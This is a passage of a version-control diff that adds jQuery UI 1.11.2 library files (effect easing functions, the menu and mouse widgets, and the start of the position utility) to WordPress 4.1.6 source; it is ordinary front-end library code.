+function _normalizeArguments( effect, options, speed, callback ) {
+
+	// allow passing all options as the first parameter
+	if ( $.isPlainObject( effect ) ) {
+		options = effect;
+		effect = effect.effect;
+	}
+
+	// convert to an object
+	effect = { effect: effect };
+
+	// catch (effect, null, ...)
+	if ( options == null ) {
+		options = {};
+	}
+
+	// catch (effect, callback)
+	if ( $.isFunction( options ) ) {
+		callback = options;
+		speed = null;
+		options = {};
+	}
+
+	// catch (effect, speed, ?)
+	if ( typeof options === "number" || $.fx.speeds[ options ] ) {
+		callback = speed;
+		speed = options;
+		options = {};
+	}
+
+	// catch (effect, options, callback)
+	if ( $.isFunction( speed ) ) {
+		callback = speed;
+		speed = null;
+	}
+
+	// add options to effect
+	if ( options ) {
+		$.extend( effect, options );
+	}
+
+	speed = speed || options.duration;
+	effect.duration = $.fx.off ? 0 :
+		typeof speed === "number" ? speed :
+		speed in $.fx.speeds ? $.fx.speeds[ speed ] :
+		$.fx.speeds._default;
+
+	effect.complete = callback || options.complete;
+
+	return effect;
+}
+
+function standardAnimationOption( option ) {
+	// Valid standard speeds (nothing, number, named speed)
+	if ( !option || typeof option === "number" || $.fx.speeds[ option ] ) {
+		return true;
+	}
+
+	// Invalid strings - treat as "normal" speed
+	if ( typeof option === "string" && !$.effects.effect[ option ] ) {
+		return true;
+	}
+
+	// Complete callback
+	if ( $.isFunction( option ) ) {
+		return true;
+	}
+
+	// Options hash (but not naming an effect)
+	if ( typeof option === "object" && !option.effect ) {
+		return true;
+	}
+
+	// Didn't match any standard API
+	return false;
+}
+
+$.fn.extend({
+	effect: function( /* effect, options, speed, callback */ ) {
+		var args = _normalizeArguments.apply( this, arguments ),
+			mode = args.mode,
+			queue = args.queue,
+			effectMethod = $.effects.effect[ args.effect ];
+
+		if ( $.fx.off || !effectMethod ) {
+			// delegate to the original method (e.g., .show()) if possible
+			if ( mode ) {
+				return this[ mode ]( args.duration, args.complete );
+			} else {
+				return this.each( function() {
+					if ( args.complete ) {
+						args.complete.call( this );
+					}
+				});
+			}
+		}
+
+		function run( next ) {
+			var elem = $( this ),
+				complete = args.complete,
+				mode = args.mode;
+
+			function done() {
+				if ( $.isFunction( complete ) ) {
+					complete.call( elem[0] );
+				}
+				if ( $.isFunction( next ) ) {
+					next();
+				}
+			}
+
+			// If the element already has the correct final state, delegate to
+			// the core methods so the internal tracking of "olddisplay" works.
+			if ( elem.is( ":hidden" ) ? mode === "hide" : mode === "show" ) {
+				elem[ mode ]();
+				done();
+			} else {
+				effectMethod.call( elem[0], args, done );
+			}
+		}
+
+		return queue === false ? this.each( run ) : this.queue( queue || "fx", run );
+	},
+
+	show: (function( orig ) {
+		return function( option ) {
+			if ( standardAnimationOption( option ) ) {
+				return orig.apply( this, arguments );
+			} else {
+				var args = _normalizeArguments.apply( this, arguments );
+				args.mode = "show";
+				return this.effect.call( this, args );
+			}
+		};
+	})( $.fn.show ),
+
+	hide: (function( orig ) {
+		return function( option ) {
+			if ( standardAnimationOption( option ) ) {
+				return orig.apply( this, arguments );
+			} else {
+				var args = _normalizeArguments.apply( this, arguments );
+				args.mode = "hide";
+				return this.effect.call( this, args );
+			}
+		};
+	})( $.fn.hide ),
+
+	toggle: (function( orig ) {
+		return function( option ) {
+			if ( standardAnimationOption( option ) || typeof option === "boolean" ) {
+				return orig.apply( this, arguments );
+			} else {
+				var args = _normalizeArguments.apply( this, arguments );
+				args.mode = "toggle";
+				return this.effect.call( this, args );
+			}
+		};
+	})( $.fn.toggle ),
+
+	// helper functions
+	cssUnit: function(key) {
+		var style = this.css( key ),
+			val = [];
+
+		$.each( [ "em", "px", "%", "pt" ], function( i, unit ) {
+			if ( style.indexOf( unit ) > 0 ) {
+				val = [ parseFloat( style ), unit ];
+			}
+		});
+		return val;
+	}
+});
+
+})();
+
+/******************************************************************************/
+/*********************************** EASING ***********************************/
+/******************************************************************************/
+
+(function() {
+
+// based on easing equations from Robert Penner (http://www.robertpenner.com/easing)
+
+var baseEasings = {};
+
+$.each( [ "Quad", "Cubic", "Quart", "Quint", "Expo" ], function( i, name ) {
+	baseEasings[ name ] = function( p ) {
+		return Math.pow( p, i + 2 );
+	};
+});
+
+$.extend( baseEasings, {
+	Sine: function( p ) {
+		return 1 - Math.cos( p * Math.PI / 2 );
+	},
+	Circ: function( p ) {
+		return 1 - Math.sqrt( 1 - p * p );
+	},
+	Elastic: function( p ) {
+		return p === 0 || p === 1 ? p :
+			-Math.pow( 2, 8 * (p - 1) ) * Math.sin( ( (p - 1) * 80 - 7.5 ) * Math.PI / 15 );
+	},
+	Back: function( p ) {
+		return p * p * ( 3 * p - 2 );
+	},
+	Bounce: function( p ) {
+		var pow2,
+			bounce = 4;
+
+		while ( p < ( ( pow2 = Math.pow( 2, --bounce ) ) - 1 ) / 11 ) {}
+		return 1 / Math.pow( 4, 3 - bounce ) - 7.5625 * Math.pow( ( pow2 * 3 - 2 ) / 22 - p, 2 );
+	}
+});
+
+$.each( baseEasings, function( name, easeIn ) {
+	$.easing[ "easeIn" + name ] = easeIn;
+	$.easing[ "easeOut" + name ] = function( p ) {
+		return 1 - easeIn( 1 - p );
+	};
+	$.easing[ "easeInOut" + name ] = function( p ) {
+		return p < 0.5 ?
+			easeIn( p * 2 ) / 2 :
+			1 - easeIn( p * -2 + 2 ) / 2;
+	};
+});
+
+})();
+
+return $.effects;
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/menu.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/menu.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/menu.js	(revision 33402)
@@ -0,0 +1,646 @@
+/*!
+ * jQuery UI Menu 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/menu/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./position"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.menu", {
+	version: "1.11.2",
+	defaultElement: "<ul>",
+	delay: 300,
+	options: {
+		icons: {
+			submenu: "ui-icon-carat-1-e"
+		},
+		items: "> *",
+		menus: "ul",
+		position: {
+			my: "left-1 top",
+			at: "right top"
+		},
+		role: "menu",
+
+		// callbacks
+		blur: null,
+		focus: null,
+		select: null
+	},
+
+	_create: function() {
+		this.activeMenu = this.element;
+
+		// Flag used to prevent firing of the click handler
+		// as the event bubbles up through nested menus
+		this.mouseHandled = false;
+		this.element
+			.uniqueId()
+			.addClass( "ui-menu ui-widget ui-widget-content" )
+			.toggleClass( "ui-menu-icons", !!this.element.find( ".ui-icon" ).length )
+			.attr({
+				role: this.options.role,
+				tabIndex: 0
+			});
+
+		if ( this.options.disabled ) {
+			this.element
+				.addClass( "ui-state-disabled" )
+				.attr( "aria-disabled", "true" );
+		}
+
+		this._on({
+			// Prevent focus from sticking to links inside menu after clicking
+			// them (focus should always stay on UL during navigation).
+			"mousedown .ui-menu-item": function( event ) {
+				event.preventDefault();
+			},
+			"click .ui-menu-item": function( event ) {
+				var target = $( event.target );
+				if ( !this.mouseHandled && target.not( ".ui-state-disabled" ).length ) {
+					this.select( event );
+
+					// Only set the mouseHandled flag if the event will bubble, see #9469.
+					if ( !event.isPropagationStopped() ) {
+						this.mouseHandled = true;
+					}
+
+					// Open submenu on click
+					if ( target.has( ".ui-menu" ).length ) {
+						this.expand( event );
+					} else if ( !this.element.is( ":focus" ) && $( this.document[ 0 ].activeElement ).closest( ".ui-menu" ).length ) {
+
+						// Redirect focus to the menu
+						this.element.trigger( "focus", [ true ] );
+
+						// If the active item is on the top level, let it stay active.
+						// Otherwise, blur the active item since it is no longer visible.
+						if ( this.active && this.active.parents( ".ui-menu" ).length === 1 ) {
+							clearTimeout( this.timer );
+						}
+					}
+				}
+			},
+			"mouseenter .ui-menu-item": function( event ) {
+				// Ignore mouse events while typeahead is active, see #10458.
+				// Prevents focusing the wrong item when typeahead causes a scroll while the mouse
+				// is over an item in the menu
+				if ( this.previousFilter ) {
+					return;
+				}
+				var target = $( event.currentTarget );
+				// Remove ui-state-active class from siblings of the newly focused menu item
+				// to avoid a jump caused by adjacent elements both having a class with a border
+				target.siblings( ".ui-state-active" ).removeClass( "ui-state-active" );
+				this.focus( event, target );
+			},
+			mouseleave: "collapseAll",
+			"mouseleave .ui-menu": "collapseAll",
+			focus: function( event, keepActiveItem ) {
+				// If there's already an active item, keep it active
+				// If not, activate the first item
+				var item = this.active || this.element.find( this.options.items ).eq( 0 );
+
+				if ( !keepActiveItem ) {
+					this.focus( event, item );
+				}
+			},
+			blur: function( event ) {
+				this._delay(function() {
+					if ( !$.contains( this.element[0], this.document[0].activeElement ) ) {
+						this.collapseAll( event );
+					}
+				});
+			},
+			keydown: "_keydown"
+		});
+
+		this.refresh();
+
+		// Clicks outside of a menu collapse any open menus
+		this._on( this.document, {
+			click: function( event ) {
+				if ( this._closeOnDocumentClick( event ) ) {
+					this.collapseAll( event );
+				}
+
+				// Reset the mouseHandled flag
+				this.mouseHandled = false;
+			}
+		});
+	},
+
+	_destroy: function() {
+		// Destroy (sub)menus
+		this.element
+			.removeAttr( "aria-activedescendant" )
+			.find( ".ui-menu" ).addBack()
+				.removeClass( "ui-menu ui-widget ui-widget-content ui-menu-icons ui-front" )
+				.removeAttr( "role" )
+				.removeAttr( "tabIndex" )
+				.removeAttr( "aria-labelledby" )
+				.removeAttr( "aria-expanded" )
+				.removeAttr( "aria-hidden" )
+				.removeAttr( "aria-disabled" )
+				.removeUniqueId()
+				.show();
+
+		// Destroy menu items
+		this.element.find( ".ui-menu-item" )
+			.removeClass( "ui-menu-item" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-disabled" )
+			.removeUniqueId()
+			.removeClass( "ui-state-hover" )
+			.removeAttr( "tabIndex" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-haspopup" )
+			.children().each( function() {
+				var elem = $( this );
+				if ( elem.data( "ui-menu-submenu-carat" ) ) {
+					elem.remove();
+				}
+			});
+
+		// Destroy menu dividers
+		this.element.find( ".ui-menu-divider" ).removeClass( "ui-menu-divider ui-widget-content" );
+	},
+
+	_keydown: function( event ) {
+		var match, prev, character, skip,
+			preventDefault = true;
+
+		switch ( event.keyCode ) {
+		case $.ui.keyCode.PAGE_UP:
+			this.previousPage( event );
+			break;
+		case $.ui.keyCode.PAGE_DOWN:
+			this.nextPage( event );
+			break;
+		case $.ui.keyCode.HOME:
+			this._move( "first", "first", event );
+			break;
+		case $.ui.keyCode.END:
+			this._move( "last", "last", event );
+			break;
+		case $.ui.keyCode.UP:
+			this.previous( event );
+			break;
+		case $.ui.keyCode.DOWN:
+			this.next( event );
+			break;
+		case $.ui.keyCode.LEFT:
+			this.collapse( event );
+			break;
+		case $.ui.keyCode.RIGHT:
+			if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
+				this.expand( event );
+			}
+			break;
+		case $.ui.keyCode.ENTER:
+		case $.ui.keyCode.SPACE:
+			this._activate( event );
+			break;
+		case $.ui.keyCode.ESCAPE:
+			this.collapse( event );
+			break;
+		default:
+			preventDefault = false;
+			prev = this.previousFilter || "";
+			character = String.fromCharCode( event.keyCode );
+			skip = false;
+
+			clearTimeout( this.filterTimer );
+
+			if ( character === prev ) {
+				skip = true;
+			} else {
+				character = prev + character;
+			}
+
+			match = this._filterMenuItems( character );
+			match = skip && match.index( this.active.next() ) !== -1 ?
+				this.active.nextAll( ".ui-menu-item" ) :
+				match;
+
+			// If no matches on the current filter, reset to the last character pressed
+			// to move down the menu to the first item that starts with that character
+			if ( !match.length ) {
+				character = String.fromCharCode( event.keyCode );
+				match = this._filterMenuItems( character );
+			}
+
+			if ( match.length ) {
+				this.focus( event, match );
+				this.previousFilter = character;
+				this.filterTimer = this._delay(function() {
+					delete this.previousFilter;
+				}, 1000 );
+			} else {
+				delete this.previousFilter;
+			}
+		}
+
+		if ( preventDefault ) {
+			event.preventDefault();
+		}
+	},
+
+	_activate: function( event ) {
+		if ( !this.active.is( ".ui-state-disabled" ) ) {
+			if ( this.active.is( "[aria-haspopup='true']" ) ) {
+				this.expand( event );
+			} else {
+				this.select( event );
+			}
+		}
+	},
+
+	refresh: function() {
+		var menus, items,
+			that = this,
+			icon = this.options.icons.submenu,
+			submenus = this.element.find( this.options.menus );
+
+		this.element.toggleClass( "ui-menu-icons", !!this.element.find( ".ui-icon" ).length );
+
+		// Initialize nested menus
+		submenus.filter( ":not(.ui-menu)" )
+			.addClass( "ui-menu ui-widget ui-widget-content ui-front" )
+			.hide()
+			.attr({
+				role: this.options.role,
+				"aria-hidden": "true",
+				"aria-expanded": "false"
+			})
+			.each(function() {
+				var menu = $( this ),
+					item = menu.parent(),
+					submenuCarat = $( "<span>" )
+						.addClass( "ui-menu-icon ui-icon " + icon )
+						.data( "ui-menu-submenu-carat", true );
+
+				item
+					.attr( "aria-haspopup", "true" )
+					.prepend( submenuCarat );
+				menu.attr( "aria-labelledby", item.attr( "id" ) );
+			});
+
+		menus = submenus.add( this.element );
+		items = menus.find( this.options.items );
+
+		// Initialize menu-items containing spaces and/or dashes only as dividers
+		items.not( ".ui-menu-item" ).each(function() {
+			var item = $( this );
+			if ( that._isDivider( item ) ) {
+				item.addClass( "ui-widget-content ui-menu-divider" );
+			}
+		});
+
+		// Don't refresh list items that are already adapted
+		items.not( ".ui-menu-item, .ui-menu-divider" )
+			.addClass( "ui-menu-item" )
+			.uniqueId()
+			.attr({
+				tabIndex: -1,
+				role: this._itemRole()
+			});
+
+		// Add aria-disabled attribute to any disabled menu item
+		items.filter( ".ui-state-disabled" ).attr( "aria-disabled", "true" );
+
+		// If the active item has been removed, blur the menu
+		if ( this.active && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
+			this.blur();
+		}
+	},
+
+	_itemRole: function() {
+		return {
+			menu: "menuitem",
+			listbox: "option"
+		}[ this.options.role ];
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "icons" ) {
+			this.element.find( ".ui-menu-icon" )
+				.removeClass( this.options.icons.submenu )
+				.addClass( value.submenu );
+		}
+		if ( key === "disabled" ) {
+			this.element
+				.toggleClass( "ui-state-disabled", !!value )
+				.attr( "aria-disabled", value );
+		}
+		this._super( key, value );
+	},
+
+	focus: function( event, item ) {
+		var nested, focused;
+		this.blur( event, event && event.type === "focus" );
+
+		this._scrollIntoView( item );
+
+		this.active = item.first();
+		focused = this.active.addClass( "ui-state-focus" ).removeClass( "ui-state-active" );
+		// Only update aria-activedescendant if there's a role
+		// otherwise we assume focus is managed elsewhere
+		if ( this.options.role ) {
+			this.element.attr( "aria-activedescendant", focused.attr( "id" ) );
+		}
+
+		// Highlight active parent menu item, if any
+		this.active
+			.parent()
+			.closest( ".ui-menu-item" )
+			.addClass( "ui-state-active" );
+
+		if ( event && event.type === "keydown" ) {
+			this._close();
+		} else {
+			this.timer = this._delay(function() {
+				this._close();
+			}, this.delay );
+		}
+
+		nested = item.children( ".ui-menu" );
+		if ( nested.length && event && ( /^mouse/.test( event.type ) ) ) {
+			this._startOpening(nested);
+		}
+		this.activeMenu = item.parent();
+
+		this._trigger( "focus", event, { item: item } );
+	},
+
+	_scrollIntoView: function( item ) {
+		var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight;
+		if ( this._hasScroll() ) {
+			borderTop = parseFloat( $.css( this.activeMenu[0], "borderTopWidth" ) ) || 0;
+			paddingTop = parseFloat( $.css( this.activeMenu[0], "paddingTop" ) ) || 0;
+			offset = item.offset().top - this.activeMenu.offset().top - borderTop - paddingTop;
+			scroll = this.activeMenu.scrollTop();
+			elementHeight = this.activeMenu.height();
+			itemHeight = item.outerHeight();
+
+			if ( offset < 0 ) {
+				this.activeMenu.scrollTop( scroll + offset );
+			} else if ( offset + itemHeight > elementHeight ) {
+				this.activeMenu.scrollTop( scroll + offset - elementHeight + itemHeight );
+			}
+		}
+	},
+
+	blur: function( event, fromFocus ) {
+		if ( !fromFocus ) {
+			clearTimeout( this.timer );
+		}
+
+		if ( !this.active ) {
+			return;
+		}
+
+		this.active.removeClass( "ui-state-focus" );
+		this.active = null;
+
+		this._trigger( "blur", event, { item: this.active } );
+	},
+
+	_startOpening: function( submenu ) {
+		clearTimeout( this.timer );
+
+		// Don't open if already open fixes a Firefox bug that caused a .5 pixel
+		// shift in the submenu position when mousing over the carat icon
+		if ( submenu.attr( "aria-hidden" ) !== "true" ) {
+			return;
+		}
+
+		this.timer = this._delay(function() {
+			this._close();
+			this._open( submenu );
+		}, this.delay );
+	},
+
+	_open: function( submenu ) {
+		var position = $.extend({
+			of: this.active
+		}, this.options.position );
+
+		clearTimeout( this.timer );
+		this.element.find( ".ui-menu" ).not( submenu.parents( ".ui-menu" ) )
+			.hide()
+			.attr( "aria-hidden", "true" );
+
+		submenu
+			.show()
+			.removeAttr( "aria-hidden" )
+			.attr( "aria-expanded", "true" )
+			.position( position );
+	},
+
+	collapseAll: function( event, all ) {
+		clearTimeout( this.timer );
+		this.timer = this._delay(function() {
+			// If we were passed an event, look for the submenu that contains the event
+			var currentMenu = all ? this.element :
+				$( event && event.target ).closest( this.element.find( ".ui-menu" ) );
+
+			// If we found no valid submenu ancestor, use the main menu to close all sub menus anyway
+			if ( !currentMenu.length ) {
+				currentMenu = this.element;
+			}
+
+			this._close( currentMenu );
+
+			this.blur( event );
+			this.activeMenu = currentMenu;
+		}, this.delay );
+	},
+
+	// With no arguments, closes the currently active menu - if nothing is active
+	// it closes all menus.  If passed an argument, it will search for menus BELOW
+	_close: function( startMenu ) {
+		if ( !startMenu ) {
+			startMenu = this.active ? this.active.parent() : this.element;
+		}
+
+		startMenu
+			.find( ".ui-menu" )
+				.hide()
+				.attr( "aria-hidden", "true" )
+				.attr( "aria-expanded", "false" )
+			.end()
+			.find( ".ui-state-active" ).not( ".ui-state-focus" )
+				.removeClass( "ui-state-active" );
+	},
+
+	_closeOnDocumentClick: function( event ) {
+		return !$( event.target ).closest( ".ui-menu" ).length;
+	},
+
+	_isDivider: function( item ) {
+
+		// Match hyphen, em dash, en dash
+		return !/[^\-\u2014\u2013\s]/.test( item.text() );
+	},
+
+	collapse: function( event ) {
+		var newItem = this.active &&
+			this.active.parent().closest( ".ui-menu-item", this.element );
+		if ( newItem && newItem.length ) {
+			this._close();
+			this.focus( event, newItem );
+		}
+	},
+
+	expand: function( event ) {
+		var newItem = this.active &&
+			this.active
+				.children( ".ui-menu " )
+				.find( this.options.items )
+				.first();
+
+		if ( newItem && newItem.length ) {
+			this._open( newItem.parent() );
+
+			// Delay so Firefox will not hide activedescendant change in expanding submenu from AT
+			this._delay(function() {
+				this.focus( event, newItem );
+			});
+		}
+	},
+
+	next: function( event ) {
+		this._move( "next", "first", event );
+	},
+
+	previous: function( event ) {
+		this._move( "prev", "last", event );
+	},
+
+	isFirstItem: function() {
+		return this.active && !this.active.prevAll( ".ui-menu-item" ).length;
+	},
+
+	isLastItem: function() {
+		return this.active && !this.active.nextAll( ".ui-menu-item" ).length;
+	},
+
+	_move: function( direction, filter, event ) {
+		var next;
+		if ( this.active ) {
+			if ( direction === "first" || direction === "last" ) {
+				next = this.active
+					[ direction === "first" ? "prevAll" : "nextAll" ]( ".ui-menu-item" )
+					.eq( -1 );
+			} else {
+				next = this.active
+					[ direction + "All" ]( ".ui-menu-item" )
+					.eq( 0 );
+			}
+		}
+		if ( !next || !next.length || !this.active ) {
+			next = this.activeMenu.find( this.options.items )[ filter ]();
+		}
+
+		this.focus( event, next );
+	},
+
+	nextPage: function( event ) {
+		var item, base, height;
+
+		if ( !this.active ) {
+			this.next( event );
+			return;
+		}
+		if ( this.isLastItem() ) {
+			return;
+		}
+		if ( this._hasScroll() ) {
+			base = this.active.offset().top;
+			height = this.element.height();
+			this.active.nextAll( ".ui-menu-item" ).each(function() {
+				item = $( this );
+				return item.offset().top - base - height < 0;
+			});
+
+			this.focus( event, item );
+		} else {
+			this.focus( event, this.activeMenu.find( this.options.items )
+				[ !this.active ? "first" : "last" ]() );
+		}
+	},
+
+	previousPage: function( event ) {
+		var item, base, height;
+		if ( !this.active ) {
+			this.next( event );
+			return;
+		}
+		if ( this.isFirstItem() ) {
+			return;
+		}
+		if ( this._hasScroll() ) {
+			base = this.active.offset().top;
+			height = this.element.height();
+			this.active.prevAll( ".ui-menu-item" ).each(function() {
+				item = $( this );
+				return item.offset().top - base + height > 0;
+			});
+
+			this.focus( event, item );
+		} else {
+			this.focus( event, this.activeMenu.find( this.options.items ).first() );
+		}
+	},
+
+	_hasScroll: function() {
+		return this.element.outerHeight() < this.element.prop( "scrollHeight" );
+	},
+
+	select: function( event ) {
+		// TODO: It should never be possible to not have an active item at this
+		// point, but the tests don't trigger mouseenter before click.
+		this.active = this.active || $( event.target ).closest( ".ui-menu-item" );
+		var ui = { item: this.active };
+		if ( !this.active.has( ".ui-menu" ).length ) {
+			this.collapseAll( event, true );
+		}
+		this._trigger( "select", event, ui );
+	},
+
+	_filterMenuItems: function(character) {
+		var escapedCharacter = character.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ),
+			regex = new RegExp( "^" + escapedCharacter, "i" );
+
+		return this.activeMenu
+			.find( this.options.items )
+
+			// Only match on items, not dividers or other content (#10571)
+			.filter( ".ui-menu-item" )
+			.filter(function() {
+				return regex.test( $.trim( $( this ).text() ) );
+			});
+	}
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/mouse.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/mouse.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/mouse.js	(revision 33402)
@@ -0,0 +1,199 @@
+/*!
+ * jQuery UI Mouse 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/mouse/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+var mouseHandled = false;
+$( document ).mouseup( function() {
+	mouseHandled = false;
+});
+
+return $.widget("ui.mouse", {
+	version: "1.11.2",
+	options: {
+		cancel: "input,textarea,button,select,option",
+		distance: 1,
+		delay: 0
+	},
+	_mouseInit: function() {
+		var that = this;
+
+		this.element
+			.bind("mousedown." + this.widgetName, function(event) {
+				return that._mouseDown(event);
+			})
+			.bind("click." + this.widgetName, function(event) {
+				if (true === $.data(event.target, that.widgetName + ".preventClickEvent")) {
+					$.removeData(event.target, that.widgetName + ".preventClickEvent");
+					event.stopImmediatePropagation();
+					return false;
+				}
+			});
+
+		this.started = false;
+	},
+
+	// TODO: make sure destroying one instance of mouse doesn't mess with
+	// other instances of mouse
+	_mouseDestroy: function() {
+		this.element.unbind("." + this.widgetName);
+		if ( this._mouseMoveDelegate ) {
+			this.document
+				.unbind("mousemove." + this.widgetName, this._mouseMoveDelegate)
+				.unbind("mouseup." + this.widgetName, this._mouseUpDelegate);
+		}
+	},
+
+	_mouseDown: function(event) {
+		// don't let more than one widget handle mouseStart
+		if ( mouseHandled ) {
+			return;
+		}
+
+		this._mouseMoved = false;
+
+		// we may have missed mouseup (out of window)
+		(this._mouseStarted && this._mouseUp(event));
+
+		this._mouseDownEvent = event;
+
+		var that = this,
+			btnIsLeft = (event.which === 1),
+			// event.target.nodeName works around a bug in IE 8 with
+			// disabled inputs (#7620)
+			elIsCancel = (typeof this.options.cancel === "string" && event.target.nodeName ? $(event.target).closest(this.options.cancel).length : false);
+		if (!btnIsLeft || elIsCancel || !this._mouseCapture(event)) {
+			return true;
+		}
+
+		this.mouseDelayMet = !this.options.delay;
+		if (!this.mouseDelayMet) {
+			this._mouseDelayTimer = setTimeout(function() {
+				that.mouseDelayMet = true;
+			}, this.options.delay);
+		}
+
+		if (this._mouseDistanceMet(event) && this._mouseDelayMet(event)) {
+			this._mouseStarted = (this._mouseStart(event) !== false);
+			if (!this._mouseStarted) {
+				event.preventDefault();
+				return true;
+			}
+		}
+
+		// Click event may never have fired (Gecko & Opera)
+		if (true === $.data(event.target, this.widgetName + ".preventClickEvent")) {
+			$.removeData(event.target, this.widgetName + ".preventClickEvent");
+		}
+
+		// these delegates are required to keep context
+		this._mouseMoveDelegate = function(event) {
+			return that._mouseMove(event);
+		};
+		this._mouseUpDelegate = function(event) {
+			return that._mouseUp(event);
+		};
+
+		this.document
+			.bind( "mousemove." + this.widgetName, this._mouseMoveDelegate )
+			.bind( "mouseup." + this.widgetName, this._mouseUpDelegate );
+
+		event.preventDefault();
+
+		mouseHandled = true;
+		return true;
+	},
+
+	_mouseMove: function(event) {
+		// Only check for mouseups outside the document if you've moved inside the document
+		// at least once. This prevents the firing of mouseup in the case of IE<9, which will
+		// fire a mousemove event if content is placed under the cursor. See #7778
+		// Support: IE <9
+		if ( this._mouseMoved ) {
+			// IE mouseup check - mouseup happened when mouse was out of window
+			if ($.ui.ie && ( !document.documentMode || document.documentMode < 9 ) && !event.button) {
+				return this._mouseUp(event);
+
+			// Iframe mouseup check - mouseup occurred in another document
+			} else if ( !event.which ) {
+				return this._mouseUp( event );
+			}
+		}
+
+		if ( event.which || event.button ) {
+			this._mouseMoved = true;
+		}
+
+		if (this._mouseStarted) {
+			this._mouseDrag(event);
+			return event.preventDefault();
+		}
+
+		if (this._mouseDistanceMet(event) && this._mouseDelayMet(event)) {
+			this._mouseStarted =
+				(this._mouseStart(this._mouseDownEvent, event) !== false);
+			(this._mouseStarted ? this._mouseDrag(event) : this._mouseUp(event));
+		}
+
+		return !this._mouseStarted;
+	},
+
+	_mouseUp: function(event) {
+		this.document
+			.unbind( "mousemove." + this.widgetName, this._mouseMoveDelegate )
+			.unbind( "mouseup." + this.widgetName, this._mouseUpDelegate );
+
+		if (this._mouseStarted) {
+			this._mouseStarted = false;
+
+			if (event.target === this._mouseDownEvent.target) {
+				$.data(event.target, this.widgetName + ".preventClickEvent", true);
+			}
+
+			this._mouseStop(event);
+		}
+
+		mouseHandled = false;
+		return false;
+	},
+
+	_mouseDistanceMet: function(event) {
+		return (Math.max(
+				Math.abs(this._mouseDownEvent.pageX - event.pageX),
+				Math.abs(this._mouseDownEvent.pageY - event.pageY)
+			) >= this.options.distance
+		);
+	},
+
+	_mouseDelayMet: function(/* event */) {
+		return this.mouseDelayMet;
+	},
+
+	// These are placeholder methods, to be overriden by extending plugin
+	_mouseStart: function(/* event */) {},
+	_mouseDrag: function(/* event */) {},
+	_mouseStop: function(/* event */) {},
+	_mouseCapture: function(/* event */) { return true; }
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/position.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/position.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/position.js	(revision 33402)
@@ -0,0 +1,517 @@
+/*!
+ * jQuery UI Position 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/position/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define( [ "jquery" ], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+(function() {
+
+$.ui = $.ui || {};
+
+var cachedScrollbarWidth, supportsOffsetFractions,
+	max = Math.max,
+	abs = Math.abs,
+	round = Math.round,
+	rhorizontal = /left|center|right/,
+	rvertical = /top|center|bottom/,
+	roffset = /[\+\-]\d+(\.[\d]+)?%?/,
+	rposition = /^\w+/,
+	rpercent = /%$/,
+	_position = $.fn.position;
+
+function getOffsets( offsets, width, height ) {
+	return [
+		parseFloat( offsets[ 0 ] ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ),
+		parseFloat( offsets[ 1 ] ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 )
+	];
+}
+
+function parseCss( element, property ) {
+	return parseInt( $.css( element, property ), 10 ) || 0;
+}
+
+function getDimensions( elem ) {
+	var raw = elem[0];
+	if ( raw.nodeType === 9 ) {
+		return {
+			width: elem.width(),
+			height: elem.height(),
+			offset: { top: 0, left: 0 }
+		};
+	}
+	if ( $.isWindow( raw ) ) {
+		return {
+			width: elem.width(),
+			height: elem.height(),
+			offset: { top: elem.scrollTop(), left: elem.scrollLeft() }
+		};
+	}
+	if ( raw.preventDefault ) {
+		return {
+			width: 0,
+			height: 0,
+			offset: { top: raw.pageY, left: raw.pageX }
+		};
+	}
+	return {
+		width: elem.outerWidth(),
+		height: elem.outerHeight(),
+		offset: elem.offset()
+	};
+}
+
+$.position = {
+	scrollbarWidth: function() {
+		if ( cachedScrollbarWidth !== undefined ) {
+			return cachedScrollbarWidth;
+		}
+		var w1, w2,
+			div = $( "<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>" ),
+			innerDiv = div.children()[0];
+
+		$( "body" ).append( div );
+		w1 = innerDiv.offsetWidth;
+		div.css( "overflow", "scroll" );
+
+		w2 = innerDiv.offsetWidth;
+
+		if ( w1 === w2 ) {
+			w2 = div[0].clientWidth;
+		}
+
+		div.remove();
+
+		return (cachedScrollbarWidth = w1 - w2);
+	},
+	getScrollInfo: function( within ) {
+		var overflowX = within.isWindow || within.isDocument ? "" :
